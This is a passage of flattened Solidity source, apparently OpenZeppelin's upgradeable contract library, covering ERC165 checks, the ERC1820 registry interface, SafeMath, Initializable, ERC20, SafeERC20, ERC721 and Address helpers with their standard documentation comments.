deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165CheckerUpgradeable { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { // success determines whether the staticcall succeeded and result determines // whether the contract at account indicates support of _interfaceId (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId); return (success && result); } /** * @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return success true if the STATICCALL succeeded, false otherwise * @return result true if the STATICCALL succeeded and the contract at account * indicates support of the interface with identifier interfaceId, false otherwise */ function _callERC165SupportsInterface(address account, bytes4 interfaceId) private view returns (bool, bool) { bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return (false, false); return (success, abi.decode(result, (bool))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820RegistryUpgradeable { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use 